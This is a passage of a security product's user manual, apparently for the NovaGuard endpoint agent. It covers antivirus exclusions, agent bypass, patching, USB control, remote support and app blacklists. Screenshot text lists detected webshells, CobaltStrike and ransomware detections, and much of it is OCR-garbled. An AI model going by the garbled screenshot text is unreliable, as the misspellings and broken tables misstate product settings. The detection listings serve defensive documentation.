1 Inteliigent Identification of Development Environment &

Enabl

| Quarantine Management &

Backup Sattings After the virus Is fixed, the original fle will be backed up to Quarantine

Space Setfings Mo fimit T

1. Intelligent Identification of Development Environment

The development environment is important, producing numerous unsigned
compiled files that antivirus software might flag as false positives. It disrupts
developers' work and may even make them hesitant to install antivirus
software, posing security risks. This feature intelligently identifies the
development environment, reduces false positives, and keeps the

development environment secure.

| Intelligent Identification of Development Envirenment &

Enable
L S

After enabling Intelligent Identification of Development Environment, it
intelligently scans for the presence of compiling software on endpoints. A pop-
up window appears when the compiler is detected, prompting endpoint users
to confirm whether they are using a development environment, as shown in

the following figure.

Version 02 (Jul. 18, 2025) 233



NovaGuard_V6.0.4R4_User Manual

2 suspected development environment paths

c\program files\tortoisegit\

c\gitcode\git\

Remind me 7 days later

Endpoint users can select Dev Environment or Other.

When Other is selected, this feature fixes threats according to the antivirus
policy.

When Dev Environment is selected, intelligently identified paths are
automatically added in Trust > Development Environment Paths on the
NovaGuard agent. For compiled files generated during the execution of the
compiling software, NovaGuard only reports them without fixing them or

giving alerts, as shown in the following figure.

@) NovaGuard . 5 Ol &h=—x
B Geme] Ulpairres 2 ety

(’ Last scan performed 1 Realtime Protections:
| o’/ day ago. R 6 enabled

Scan Now »> Blocks: 20 (last 30 days]

Events (Last 30 Days)

Ransomware Protection > Speed Up & Free Up Space
Ea Resltime File Protection B Dev Environment

@ Ransomware Honeypot

o) Messages 2025.07.18 14:48:53 Virus-infected files were quarantined.

Security Engines: €& @ B @& Quarantinew".é?\‘_ogs
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Files(O) Paths(0) Processes(0) Development Environment Paths(1)

The following development environment paths are the paths identified by the agent or added by you. The agent will only give alerts on the risk
behaviors from files that are identified secure.

© Add

Path

Time Added

c\gitcode\ Manual Add 2025-07-17 10:11:20 Delete

Endpoint users can manually add or delete a development environment path,

as shown in the following figure.

Files(O) Paths(0) Processes(0) Development Environment Paths(1)

The following development environment paths are the paths identified by the agent or added by you. The agent will only give alerts on the risk
behaviors from files that are identified secure.

© Add

Path Added By Time Added

c\gitcode\ Manual Add 2025-07-17 10:11:20

For an intelligently identified path, a Suspected Development Environment
tag is shown on the Defense > Malware Scan > Virus List page and the
Defense > Malware Scan >Tasks page. When you handle viruses on the
NovaGuard manager as an administrator, you can select Suspected

Development Environment as the Environment Type to avoid false positives.
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Malware | Virus-Infected Files ~ Ransomware and Threats

Pending Fixed

Fix @ Trust Ignore Identity @ Refresh

Identification Status ¥ AgentStatus ¥ Status ~  EnvionmentType <~ FileType ¥ Severity ¥ | ThreatType ¥ LastDefected (Al) ¥ = Endpoint Name/IP/Owner ¥

Environment Type
N ] P

g

Security Event Inected Endpoint Endpoint IP Mification Result - | Owner Infected Entity Last Detected Status

Trojan.Generic-PHP Save 8184243 Suspected Dev Env._

q 'Scrip! E localhost localdom. ¥ w7, Iroot/webshell/9000.php 2025-07-15 10:36. Pending
@D | Trojan Other Suspected Dev Environment

Trojan.Generic-PHP Save 8184243

2 g = :
2 Trojan & tocalnost localdom. ol @ Online Unknown Iroot/webshell’9999.php 2025-07-15 10:36. Pending
Trojan. Generic-PHP Save 8180243 .
3 Tiojan § tocanostiocaidom... 1 = 17.. @ Online Unknown IrootwebshellOCI04EES10D...  2025-07-1510:36..  Pending
Trojan. Generic-PHP Save 8180243
4 G & localnost localdom. 4% g @ Online Unknown Iroot/webshell/1234. php 2025-07-15 10:36. Pending
Trojan o -
Trojan Generic-PHP Save 6180243
5 Trojan & locahost iocaidom. W T @ Online Unknown Irootwebshelli2222.php 2025-07-15 10:36. Pending
Trojan. Generic-PHP Save 8180243
6 Trojan & localnost locaidom. 1 ® Online Unknown Irootiwebshelli1236.php 2025-07-1510:36...  Pending
Trojan. Generic-PHP Save 8180243
7 Tiojan § focanostiocaldom... 1@ m ® oniine Unknown Irootwebshellig998 php 20250715 10:36...  Pending
Trojan. Generic-PHP Save 8180243 .
8 O | Tron & localnost localdom. & - @ Online Unknown Irootiwebshell/1235 php 2025-07-15 10:36. Pending
Infected Files on Endpoint (WIN-AE2JRTINIQE(18 = =u’ X

WIN-AE2JRTINIQE(®. I'l :4) Scan Completed 71 threats are detected,
Task Type: Manual full scan | Scanned Files: 103070 | Time Taken: 23 mins 48 secs
| = e L t4 ) Refresh Environment Type ~ | File Type | Severity - || ThreatType -

No.  Infected Entity Virus e e Status Operation

1 clusersiadministratorideskiopigqq\123\ . Trojan Win32 CobalStrike Suspected Dev Environment  gos  Fyeg © mp—
Tiojan | QUETIED @SERIET: (o,

2 cA$recycle bin\s-1-5-21-3912372338-98. Ransom.Win32.Krypton.uwzg 2025-07-15 10:07:25 Fixed © ~ Analyze
Ransomware | (FTID CEIETD

3 cusers\administratorideskiop\qgg\123\. Trojan.Win32.CobaitStrike 2025-07-15 10:07:25 Fixed ) ~ Analyze
Trojan | @IENITIN GEIETD

4 chwsersladministratorideskiopiqgq\11le... Ransom.Win32.Princess.uwzg 2025-07-15 10:07:25 Fixed © ~ Analyze
Ransomware  (GIFID GEIELD

5 cA$recycle bin\s-1-5-21-3912372338-98.. Ransom Win32 TurkHack uwzg 2025-07-15 10:07:25 Fixed 0 w Analyze
Ransomware  (GIFIID CGEIED

Close
.
2. Quarantine Management
| Quarantine Management &
Backup Settings - After the virus is fixed, the original file will be backed up fo Quarantine
Space Settings Custom size ~ 1000 ME (It must be an integer between 1000 and 1048576.)

Backup Settings: If this feature is enabled, the original file will be backed up to

Quarantine after the virus is fixed.

Space Settings: Configure the size of the Quarantine area on an endpoint or

set it as No limit.

NOTE

Quarantine management is not available for macOS endpoints.
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3. Agent Bypass

Agent bypass is available for endpoints running on Windows Server and Linux.

| Agent Bypass

Enable

within mins | if an endpoint's resource usage matches any of the following triggers, the corresponding agent will go into Bypass status, which means the agent will not receive any
tasks sent by the manager and cannot protect the asset

CPU Usage %
Available Memory MB
Pending Tasks (D

Disk Queue Length @

Agent bypass refers to the policy applicable to scenarios where the NovaGuard
agent actively monitors resources on an endpoint. Suppose the average usage
of any resources (CPU, memory, or load) on the endpoint reaches or exceeds
the threshold within a specified period. In that case, the NovaGuard agent
automatically enters the Bypass state to release occupied resources,
preventing disruptions to business operations from resource contention. On
the contrary, suppose the average usage of any resource (CPU, memory, or
load) on the endpoint remains below the set threshold. In that case, the

endpoint is automatically restored to its normal state.

In the Bypass state, the NovaGuard agent releases occupied resources, the
agent will not receive any tasks sent by the manager, and the agent cannot

protect the asset.

All Assets (3 online / 4 in total) New Features
More v Refresh
No.  Endpoint Name Endpoint Type | Agent Status Group MAC Address | OS CPU Usage Memory Usage
e 3 : 53.52%
DESKTOP-O2H9SIG 163 , {
1 DESKTOP-G2H99 PC ® Online Bogroupt 1. FAIE3E09.  Windows 10%. e el 1
§ WIN-AEZJRT INIQI -16-3E-! r T : ks .
2 IN-AEZJRTNIQE Server ® oniine B oroupt 1. FA-16-38-5D Wwindows Serv. “ Used/Total 3GB/IB GB L
= & Py 3419% “
3 localhost locald / ® 16-3E 1
3 localhost localdomain server ¥ Bypassed @ | Ungroup.. 1. FAI6-3E-83..  CentOS Linux s Bost
4 DESKTOP-000HDAL PC @ online Ungroup... 1. 00-E0-4C-A3.. Windows 10%... = 1 Gk A
UsedTotal 10.1GBL... L

Agent bypass is available for Windows Server and Linux endpoints.

4. Agent Performance Protection
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Processes whose resource usage matches any threshold will restart. It aims to
constrain the resource usage of the NovaGuard agent processes to prevent
them from occupying too many business resources. Thresholds for the
resource usage of the processes can only be adjusted to higher values than the
default values. In scenarios with adequate server resources, you can increase
the thresholds for the resource usage of the NovaGuard agent, enabling faster
and more comprehensive detection. This feature is available for Windows

Server and Linux endpoints.

| Agent Performance Protection (Proce ource usage matches any of the following triggers will restart.)
Main Process (edr_agent)
CPU Usage 20 % for = 10 mins
Used Memory 200 ME for 10 mins
Threads 500 for 10 mins
File Handles 4000 for 10 mins
Threat Detection Process (<s_agent)
CPU Usage 20 % for 10 mins
Used Memory 120 MB for 10 mins
Antivirus Process (sfavsvc)
Used Memory 1000 MEBE for 10 mins
Threads 300 for 10 mins
File Handles 10000 for 10 mins

Advanced -~

4.6.1.7 Vuln Remediation

On this tab, you can customize vulnerability scan settings for Windows and
Linux systems separately. Specifically, you can configure scheduled
vulnerability scan tasks for endpoints, and select whether to remind users to
restart endpoints after patch installation to ensure that the installed patches

take effect.

Version 02 (Jul. 18, 2025) 238



NovaGuard_V6.0.4R4_User Manual

Basic Config Anti-Malware Realtime Protection Anti-Ransomware Trust List General Settings Vuln Remediation Endpoint Control

5= Windows D uinux

| Restart After Patch Installation
(®) Remind users to restart
Nofification Message

Patches have been installed. For security, please restart your
endpoint.

| Vulnerability Scanning and Patching

Enable scheduled scanning

Every day i 00:00 ¥ | 1o 0300 g

Action: Fix automatically

(®) No Action - Report Only

LlNoTE

1. Patching is available for Windows PCs and Windows Server endpoints.

2. For details about systems that support this feature, see Compatibility Support.

1. Restart After Patch Installation

Certain patches take effect only after the endpoint restarts. You can specify the
restart policy by selecting Remind users to restart and customize the

notification message to send after patch installation.

| Restart After Patch Installation

(®) Remind users to restart
Motification Message :

Patches have been installed. For security, please restart your
endpoint.

Go to Risk Assessment > Windows Update or Risk Assessment >
Vulnerabilities to scan for and fix vulnerabilities. When it is required to restart

the endpoint following patch installation, a prompt appears, as shown in the
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following figure.

Confirm e

Are you sure you want b

o patch the 2 selected vulnerabilities?

ed fol ahilities

WNICh may @ke a Wnile. it 15

2 vulnerability patches will iake effect after endpoint restaris.

Restart endpoints according to Restart After Patch Insiallaion settings on the Folicies =

General Policies = Vuln Remediation page.

If you select this option and Remind users to restart is selected as the restart

policy, a pop-up reminder appears on the endpoint, as shown in the following
figure.

Restart Notification
(Save your files to prevent data loss)

Patches have been installed. For security, pl
ease restart your endpoint.

2. Vulnerability Scanning and Patching

Select Enable scheduled scanning to enable scan tasks to run as scheduled.
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| Vulnerability Scanning and Patching

Enable scheduled scanning
~ - > 1o -
Action: Fix automatically
(®) No Action - Report Only

Download Security Patches:

No. Server IP Address Remarks Status Operation

1 - This Manager v Down Disable
2 hitp://downioad windowsupdate Microsoft Pa. v Up Down Disable
3 hitps://upd.sangfor.com/v1/downl Sangfor Offi v up Disable

Relevant parameters are described as follows:

e Scheduled scanning: Specify the time for the vulnerability scan to run.

e Action: Specify the method for fixing vulnerabilities, including Fix
automatically and No Action - Report Only (recommended).

«Download Security Patches: Specify the server where vulnerability patches
for endpoints can be downloaded. Default options include ForeNova CDN

Server, Microsoft Patch Server, and the NovaGuard manager.

Install vulnerability patches when an endpoint is offline

In cases where an endpoint does not have an Internet connection, while the
NovaGuard manager is connected to the Internet, the endpoint cannot
download vulnerability patches from an online server. To install vulnerability
patches, go to System > System > General. Select The manager downloads
patches on behalf of the agent if patches cannot be downloaded from

patch database to enable the NovaGuard manager to download patches on
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behalf of the NovaGuard agent, as shown in the following figure.

General

| Remote Support

Use a fixed port 33 for remote access (o)

| Endpoint Data Collection

Endpoint Detail Collection Interval {hour) 24 6]

Endpoint Status Update Interval (minute) 5 @

| Security Patch Download

The manager downloads patches on behalf of the agent if patches cannot be downloaded from paich database. (&) Clear Security Patches

| Device Integration

Allow device to connect within 0 minutes

INoTE

If an endpoint and NovaGuard manager are not connected to the Internet, you can

download vulnerability patches using offline tools. For details, see the Section 3.6.9.9 "Tools"
in this document.
This feature enables you to identify and install vulnerability patches for Windows endpoints

and applications and identify vulnerability patches for Linux endpoints. It does not support

the automatic installation of vulnerability patches for Linux endpoints.

4.6.1.8 Endpoint Control

On this tab, you can configure the following settings: USB device control,
unauthorized outbound access detection, remote support control, and
cleanup. Among them, USB device control is available for both Windows and
macOS endpoints, whereas other settings are available only for Windows

endpoints.

1. USB Device Control

Unauthorized access to USB storage devices can expose endpoints to various
threats, such as viruses, Trojans, data leaks, and tampering. By leveraging the
USB device control feature, you can deny or allow the usage of mobile devices

such as USB flash drives, removable hard disks, and mobile phones.

Version 02 (Jul. 18, 2025) 242



NovaGuard_V6.0.4R4_User Manual

Furthermore, you can set up notifications to alert endpoint users, mitigating

the risks associated with insufficient control over mobile devices.

For Windows endpoints, go to Policies > General Policies > Endpoint Control,
and select Enable USB device control for Windows PCs and Enable USB

device control for Windows Servers under USB Device Control as needed.

For macOS endpoints, go to Policies > General Policies > Endpoint Control,

and select Enable under USB Device Control.

| USB Device Control
Enable USB device control for Windows PCs Enable USB device control for Windows Servers
Control Policy:
Device Type Description permission @

Storage Devices: Flash/Thumb Drives, Remo. Flash/thumb drives or removable hard drives are det Block

Storage Devices: Portable Devices Portable devices (e.g., mobile phone, digital camera). Block

Whitelist:

How to Obtain Device ID mport | Export | Delete

No.  Device ID Remarks Permission © Operation

You can set the control policy for the storage features of USB flash drives,
removable hard disks, and portable devices (such as mobile phones and digital

cameras).
Control policies include the following:
Block: The device and the files it contains are not visible to users.

Read & Execute: Data can be read from but cannot be written to the device.

The files it contains can be executed.

Read: Data can be read from but cannot be written to the device. The files it

contains cannot be executed.

Full Access (With Notification): Data can be read from and written to the
device. Pop-up notification will be displayed on the endpoint and related logs

will be reported to the manager.

Whitelist

When certain USB devices are allowed, add them to the whitelist and complete

the required information settings, as shown in the following figure.
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Whitelist:
How to Obtain Device ID © Import | Export  Delete

Mo Device ID Rematks Permission @ Operation

You can import many devices in batches if you need to add them.

Notify

After selecting the Notify user when a device with permissions other than
Full Access is detected, endpoint users will receive notifications when
attempting to use devices blocked on servers or endpoints, as shown in the

following figure.
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®

The admin set the permission of this
device to Block.

USB Device Connection

Block
Device ID USB
\VID_090C&PID_2000\CCYYMMIopy
Time 2025.07.19 14:32

Detected

| | Do not show this again

LLINoTE

The USB device control feature is available for Windows and macOS endpoints. You can

block USB devices or set the permissions of the devices to Read-Only for macOS endpoints.

2. Unauthorized Outbound Access Detection

Unauthorized outbound access occurs when an endpoint in the internal
network connects to an unauthorized target server. NovaGuard can detect
unauthorized outbound access by utilizing the ping command and respond
with actions like disconnecting the endpoint from the network, shutting down
the endpoint, and notifying users if such access is identified, enabling real-time

control of endpoints.

Settings for this feature are shown in the following figure.
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| Unauthatized Outbound Access Detection

Enable

Detectian Interval

Destination

Domsin Name/P Remarks Operstion

e google.com

Actian
Motification

P

Setting

Detection Interval: The interval for detecting unauthorized outbound access
on an endpoint. You can set the detection interval to a value between 60 to

3,600 seconds.

Destination: The destination address for unauthorized outbound access is

www.google.com by default. You can add IP addresses or domain names.
Action: The method for handling detected unauthorized outbound access.

«No Action - Report Only: Only display a notification.

e Disconnect from Internet(Applied after 30s, connection restored after
restart): For Windows Vista and above, the result of this action is similar to
endpoint isolation because the endpoint can only communicate with the
NovaGuard manager. As an administrator, you can restart the NovaGuard
agent on the Endpoint page to restore the Internet connection. For Windows
Server 2003 and Windows XP, this action disables the NIC, and the endpoint
user must manually enable the NIC or restart the endpoint.

e Shut Down: The endpoint will shut down after a 60-second countdown.

Notification: When unauthorized outbound access is detected on an
endpoint, a notification appears in the lower right corner of the screen to warn
the endpoint user. You can specify the content of the notification in the

Notification text box.
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Email notification: When unauthorized outbound access is detected on an

endpoint, you can receive an email notification as an administrator.

3. Remote Support Control

When an exception occurs on a managed endpoint, you can remotely control
the endpoint as an administrator to help solve the exception quickly and
safely.

Prerequisites

You can remotely control an endpoint if the endpoint user has enabled Admin
Remote Control on the NovaGuard agent. To set this feature, right-click the
tray icon of the NovaGuard agent on the endpoint, as shown in the following

figure. This feature is enabled by default.

D Uptime: 1 days

© 19

Security Virus Scan
Realtime Protection Asset

Realtime File Protection a9
[&] Quarantine
E Logs

&) Mute Notifications

% Admin Remote Control

Admin Update Exit

Scenario 1: Remote control of an endpoint without user consent
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You can remotely control an endpoint without user consent. This configuration

applies to an unattended scenario:

Go to Policies > General Policies > Endpoint Control and select Not

Required for User Consent in the Remote Support Control section, as shown

in the following figure.

| Remote Support Control

User Consent : Required &

(®) Mot Reguired

Auto Logout Trigoer :

Terminate remote connection if the inactivity duration iz more than 30

minutes

Go to Endpoint > Endpoint Groups, select the endpoint you want to control,

and click Remote Support, as shown in the following figure.

All Assets (3 online / 4 in total)

Move to Other Group A Enable Agent

B No.  Endpoint Name

1 DESKTOP-O2H99IG
2 § WIN-AE2JRT1INIQE
3 3 localhost localdomain
4 DESKTOP-000OHD4L

Remote Support

Endpoint Type | Agent Status

PC @ Online
Server @ Online
Server 4 Bypassed @
PC @ Oniine

Group

a8 groupt
£ group1
Ungroup

Ungroup

More v

MAC Address

FA-16-3E-09

FA-16-3E-5D

FA-16-3E-83

00-E0-4C-A3.

Refresh

0s

Windows 10 %

Windows Serv.

CentOS Linux

Windows 10 &

CPU Usage

New Features

Memory Usage

4 23.82%
Used/Total 2.2 GB/4 ...

. 37.37%
“ Used/Total 3 GBI8 GB

34.19%

! UsedrTotal 1.3 GB/3

65.68%

' UsedrTotal 103 GBI...
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Message x

¥4

sending remote connection requests requires the
remaote support tool. Do you want to download and
install it now?

[J/<=H

Diovevniload Cancel

When you initiate the remote control for the first time, a message indicates
that you need to download UltraVNC Viewer(the remote control tool). Click

Download to download and install the tool, as shown in the following figure.

UltraVNC

Viewer

vnclnstaller

(1).exe

After you install UltraVNC Viewer, initiate remote control again. A message box

appears, as shown in the following figure.
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Message X

Are you sure you want to connect to this endpoint
remately?

Connecting to endpoints remotely iz a suspicious behavior, and the
system will log your remaote access. Please do not perform any
high-rizk operations.

Pleaze enter your pazzword to confirm thiz operation;

Passwword |

To confirm that you are an administrator, you need to enter the password of
your administrator account and click OK to establish a remote connection to

the endpoint, as shown in the following figure.

Remote Support X

Establishing remote connection, please wait. ..

Cancel
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. 5 - a o
NovaGuard Uptime: 2 days

/ Last scan performed 1 Realtime Protections:
\ o | dayago. Y 6 enabled
/' Scan Mow >> Blocks: 20 (last 30 days

Events (Last 30 Days)

Ransomware Protection » Speed Up & Free Up Space
Realtime File Protection & Dev Environment

¥ Ransomware Honeypot

) Messages 2025

7.18 14:48:53 Virus-infected files were quarantined.

Security Engines: 4 @ = & Quarantine(167} Trust(1) Logs

Scenario 2: Remote control of an endpoint with user consent

You can also specify that user consent is required to control an endpoint
remotely. This configuration applies to a constantly attended endpoint

sensitive to remote operations:

Go to Policies > General Policies > Endpoint Control and select Required for
User Consent in the Remote Support Control section, as shown in the

following figure.

| Remate Support Contral

User Congent : (®) Reguired @

Mot Recuired

Auto Logout Trigger : Terminate remate connection if the inactivity duration is morethan 30 minutes

Go to Endpoint > Endpoint Groups, select the endpoint you want to control,

and click Remote Support, as shown in the following figure.

Groups Wew More Al Endpoints 3 onne /6 n ot
5 Al Endpoints B % Engport asset Type Agert Status Group P Adiress MAC Address os Envionme rtelp. - CPUUsage e
. Anype Host ot Ungrouped Encu.. 107440318 FEFCFEZIZME  Wedows 0Edcell. - % e
s 2 @ Evesseastenay Sovers ® oniee Ungpouped Excul.. 107440538 FEFCRESCALTS  Wiows Sener 200, - =
s How Servers ot UngroupedEndol.. 10545128 FEFOFERTID  DebanOMULnud. - % e
ot . e —— Host 2010028 o - % e
" s e 04-EN Host ® Onine. +mw Encpol.. 106231151 FEFCFE038012 Wodows 10Prox6d - . 3 =
s @ostn Srvers ® oniee Ungrouped Endl.. 10845128 FEFCFEORTID DabanGNULIXD.. - —_— % o,
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Message X

g

(™

./:

Sending remote connection requests requires the
remote support tool. Do you want to download and
install it now?

oIme Send Remote Connection Requests
Marually

When you initiate the remote control for the first time, a message indicates
that you need to download UltraVNC Viewer(the remote control tool). Click

Download to download and install the tool, as shown in the following figure.

©

+ Wo

UltraVMNC

Viewer

vnclnstaller
(1).exe

After you install UltraVNC Viewer, initiate remote control again. A message

appears, as shown in the following figure.

Remote Support X

Establishing remote connection, please wait...

Cancel

An NovaGuard agent notification will be shown on the endpoint.
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@ NovaGuard

Admin is trying to control your computer
remotely.

“ Den}r B

Once the endpoint user clicks Allow, you can remotely control the endpoint.

To confirm that you are an administrator, you need to enter the password of
your administrator account and click OK to establish a remote connection to

the endpoint, as shown in the following figure.

. t A7 | @ = — X

MovaGuard Uptime: 2 days

;) // . Last scan performed 1 Realtime Protections:
: \ o day ago. - 6 enabled
oot /‘ Scan Now >= Blocks: 20 (last 30 days)

Events (Last 30 Days)

Ransomware Protection » Speed Up & Free Up Space
Realtime File Protection BEi Dev Environment

@ Ransomware Honeypot

W) Messages 2025.07.18 14:48:52 Virus-infected files were quarantined,

Security Engines: @ B & Quarantine{167) Trust(l) Logs

LLNoTE
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1. Only the Super administrator and security administrator have remote control permissions.
The communication is fully encrypted.

2. By default, a random port is used for the remote control of an endpoint. You can go to
System > System > General and specify the port for remote control in the Remote Support

section.

3. Remote control is supported by endpoints running on Windows XP, Windows 7, Windows

8, Windows 8.1, Windows 10, or Windows 11.

4. Cleanup

You can enable this feature to free up the storage space to improve the

endpoint system performance.

4.6.1.9 Customization

On this tab, you can customize the brand name and logo as needed.

Customize the NovaGuard manager

To change the name and logo for the NovaGuard manager, go to System >

System > Customization, as shown in the following figure.

Customization

| customization

ne logo of this manager here. If you want to set the logo of the agent, Please go to Policies > General Policies > Customization

Manager Name NovaGuard

Wanager Logo fogo.png File

| samples
stable, Effective, Responsive < NovaGuard Overview
+)
-
NovaGuard
- Detaction ©
=
= s 6

s Security Events

Overview

Restore Defaulis
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On the Customization page, change the Manager Name and upload a

Manager logo image.

Customize the NovaGuard agent

To change the name and logo for the NovaGuard agent, go to Policies >

Customization, as shown in the following figure.

Basic Config Anti-Malware Realtime Protection Anti-Ransomware Trust List General Seftings Vuln Remediation Endpoint Control Customization
1] Windows ©@

| Agent Logo Settings

et the logo of the agent here. To set the manager logo, go to System > System > Customization

Agent Name NovaGuard

Agent Ul Logo fogo.png File
Support png fles. Recommended Size: 256 px * 256 px

Agent lcon logo.ico File @
Supports i

| samples

@ NovaGuard

@

NovaGuard

Scan completed today. No thre

L

o)

Virus Scan

On the Customization page, change the Agent Name, Ul Logo, and Agent

icon. The following figure shows a sample.

. ] Q@6 =- x
NovaGuard Uptime: 2 days

/ Last scan performed 1 Realtime Protections:
A o | dayago. - 6 enabled
7 Scan Now >> Blocks: 20 (last 30 days.

Events (Last 30 Days)

e:2 days

V) 102

Securit Virus Scan
Ransomware Protection > Speed Up & Free Up Space i
B2 Realtime File Protection B Dev Environiment ? @
© Ransomware Honeypot
Realtime Protection Asset

W) Messages 2025.07.18 14:48:53 Virus-infected files w
[2] Realtime File Protection i @

[ Quarantine
Quarantine(167) Trust(1

Security Engines: @ @ &

[ Logs
) Mute Netifications

% Admin Remote Control ()

Admin Update Exit
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4.6.2 Detection Policies

4.6.2.1 File Hashes

Indicators enable you to quickly respond to false positive and false negative

security events and improve O&M efficiency based on File Hashes.

Go to Policies > Detection Policies > File Hashes, as shown in the following

figure.

You can set the action to take for specified files. Supported actions are Alert

and Fix, Alert, and Allow.

Alert and Fix: A false negative threat will be fixed and an alert will be given for

the threat.
Alert: Only an alert is given for the threat.

Allow: A false positive threat is allowed.

4.6.2.2 WebShell Directories

You can specify the web servers' web directories to detect web shells.
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WebShell Det Directories

= erarrr— — B

No. | Diectory Addwetnoy | Assatinto AssotGroup o8 Time Trustad operston

& 10741038
[ '3 Wanual Ao S Ungrauped Endpornts windows 231023 165037 Dol

4.6.3 Exclusions

When you find a false positive security event, you can exclude it by file name,
file path, or file extension. Excluded files and directories will not be checked in

virus scanning, real-time monitoring, or web shell detection.

4.6.3.1 Excluded Extensions

The virus detection module does not scan or detect files with the specified

extensions.

New X

File Extension

Applicable Scop. Local Manager ¥

Remmarks
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Excluded Extensions

nnnnnnn

4.6.3.2 Excluded Paths

The virus detection module does not scan or detect files in the specified

excluded paths.

MNew %
File Path :
v
Applicable Scop. Local Manager i
Femarks :

Cancel

Excluded Paths

‘‘‘‘‘‘‘‘‘

File exclusion: To exclude a file, specify the path to the file. The path string
ends with the file name rather than a backslash (\), for example, D:\2022\10

tools\test.

Directory exclusion: To exclude a directory, specify the path to the directory.
The path string ends with the directory name and a backslash (\), for example,

D:\2022\10 tools\test\.

4.6.3.3 Excluded I0As

When the IOA engine detects an advanced threat event, you can add it to IOA

Exclusions. You can also edit or delete an exclusion rule.

Version 02 (Jul. 18, 2025) 258



NovaGuard_V6.0.4R4_User Manual

I0A Exclusions

Rafresh

No.  Rulename Rule Atribute

Associated lert Aoplicable Scope

1 oh Pracece

Ay pe(1074103.18)

4.6.3.4 Event Whitelists

You can add security events identified in intrusion detection, such as brute-

Time Tru

2023102

(o]

Event Tay Defense Evasion ATTack Obiuscated Files or Information
Source: 108 Time Defected:  2023-10-1311:5000
Rule Atrbutes - ~ RuenName -
Alert Natched = FiretMatched Lastatched Operation
3 2023023172648 20231023 17:26:48 Edt Delete

Hiah The endpoint was implanted....

Event Tag: [EF Malicious Virus ot Supportod
e - .

@ High2)

The endpoint was implanted with a malicious virus of lem...

Event Tay Command and Cantol ATT8CK: Applcaton Layer Protocol
Domain vheahh com Occunences: | 2

Source ioc Process CtMindowsiSystema2WindawsP.
FirstDetected: 2023101315032 LastDetoctod: 202310413 11:50:44

The endpoint was implanted with a malicious virus of lem...

Event Tag Command and Conrol ATTacK ‘Agplication Layer Protocol
Domain voeahn com Occurrences: 2
Source 100 Pracess. CWiNdOWSIBstem3zMIndowsP.
FirstDetected: 20231013 11:00:32 LostDetected: 20231013 11:00:43

Low(2)

Execute obfuscated commands using Powershell

force attacks, suspicious scans, application vulnerabilities, and memory

backdoors, to the event whitelist.

Status: Pending X

Warks ore || Export
| No. | Laststected % | Severy | Loginip
20231028
. 1 o R RE
17:19:20 High
20231023
s 00 107485132
231028
. i 1074671
° o o74a710
20231028
. . 107467.10
e
20231028
. ER 107485184
Event Whitelist
Mo EvantType

‘Whitelt Name

Login Narme

ANONYMOUS LOGON

ANONYMOUS LOGON

ANONYMOUS LOGON

ANONYMOUS LOGON

ANONYMOUS LOGON

senice
Tyoe

sMB

Asset

The manager

Whitotsting Target

Login Type: Affected Assets. e Detections. Status.
Loainfrom e 107410338
Unusual 1P « oniine 1O pending
Address. L
Loginat 107410338
o . * Online ¥ Pending.

UnususiTime i PELAG
Loginfom e 17410338
Unusual 1P ; « onine 1 © pendng
Address. MINCEELAS]
Loginat 107410038
et . * Online ¥ Pending.
UnususiTime o
Loginfom g 17410338
Unususl 1P « oniine 10 Pendig
e N-PELAGIS

. Please it immediatly.  Configure roy Server

Applicable Scope  Remarks Last Updated

No data available

0 enties intotal

In-Depth Anabsi Pending

FixMethod

Hore v

add Exclusion_Jiew Detalls

&l - |

Operation

View Details
Mare v

View Details
More v

View Details
Mare v

View Details
Mare v

View Details
More v

|-

Saws  Operation

Enfies per Page| 10
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4.6.4 Behavior Control

4.6.4.1 Watermark

The watermark feature prevents information leakage. You can specify the

watermark text to trace the source based on the screenshots.

To configure watermark settings, go to Policies > Behavior Control >

Watermark, as shown in the following figure.

Watermark ©

Enable

| watermark

Default Text AssetUser  Time

Gustom Text

| Applicanle Scope

Applicable Scape

Exeluded Endpoints

Schedule [

Apply o Offine Endpaints Enable

Preview

Watermark: Select one or more default text options or specify custom text for

the watermark and set its opacity and density.

Applicable Scope: Specify the endpoints on which the watermark is displayed,

the period when the watermark takes effect, and whether to apply the

watermark to offline endpoints.

After you set a watermark parameter, you can view the result in real time in

the Preview section on the right.

4.6.5 App Control
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Application control helps you manage the use of software on an endpoint
based on built-in and custom rules. You can prevent blacklisted software from

running and record software operation logs.

4.6.5.1 Application Blacklists

To manage application blacklists, go to Policies > App Control > Application

Blacklists, as shown in the following figure.

App Blacklist ©

Click New to create an application blacklist. You can add applications to the
blacklist, and specify endpoints to which the blacklist applies, the schedule of

the blacklist takes effect, and the action to take when a blacklisted application
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is detected, as shown in the following figure.

Add App Blacklist »

* Policy Name

Description

Apps
App Category(112) = App name Selected (0) i
All
Browser
360ChromeX
QQ Browser
Microsoft Edge
Google Chrome
internet Explorer
Sogou Explorer Fieat
Firefox
2345Explorer
360Explorer
LieBacExplorer
Maxthon
Tl lnelet
To add custom app signatures, please go o [ Application Signatures |
Options
* Apply To -
Excluded Endpoinis Select =
* Schedule Every day - 00:00 = to 24:.00 -
= Action Block (@) Alert
* Status Enahled (®) Dizabled

LLINoTE

Software uninstallation is supported only for endpoints that run Windows 7 and later or

Windows Server 2012 and later.

4.6.5.2 Application Signature Database

The application signature database provides default application signatures and

supports custom application signatures.
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Custom App Signatures  Defauit App Signatures

Refresn

Name Descrip L Act Created By Last Updated
Browser
360Chromex 360ChromeXis a web browser developed based on the Ghromium kenel,featuring fast browsing speed and simple interface design
QaBrowser aq B0 b browser deveioped by Tencent, with basic web browsing and fle downloading functions

Microsoft Edge Microsoft Edge is a web browser based on the Chromium open source project and other open source software.
Google Chrome Google Chrome s a web browser developed by Google Inc.

Internat Explorer Internet Explorer is a web browser developed by Microsoft Corporation

g and ad-blocking

sed 0n the Chromium keme!, providing features such as fast br

Sogou Explorer Sogou Exploreris a web

and o

Firefox Firefox i ped by Mozil prot

¥ a Chinese company, supporing multple languages and plugins

2345Explorer

ich has functions such as ad blocking and webpage security detection

ne IE core, developsd by Qin

350Explorer 3B0END

at supports multple plugins and personalized settings

LieBaoExplorer LieBaoExplorer s &

free des fast browsing speed and

Mastnan Ma

Thaward

Suppose a required application signature is not included in the default
application signature database. In that case, you can go to Policies > App
Control > Application Signature Database and add the application signature,

as shown in the following figure.

Add Custom App Signature

*Mame :
Description :
*App Group Default Group

Action (D (®) Identify all child processes
ldentify child processes with the same name as the app

x
®
+ Digital Signature + Copyright
+ Process Description + lconHash
+ Product Mame
x

+ Digital Signature + Copytight

+ Process Description + lcon Hash
“ Cancel
App Group: The group to which the custom application belongs.

Action: The scope of child processes identification. An application may have

child processes whose names differ from the application name. We
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recommend that you select Identify all child processes so that you can

identify and terminate all child processes of an application.

You can identify a custom application using one or more application
information groups. Each application information group consists of multiple
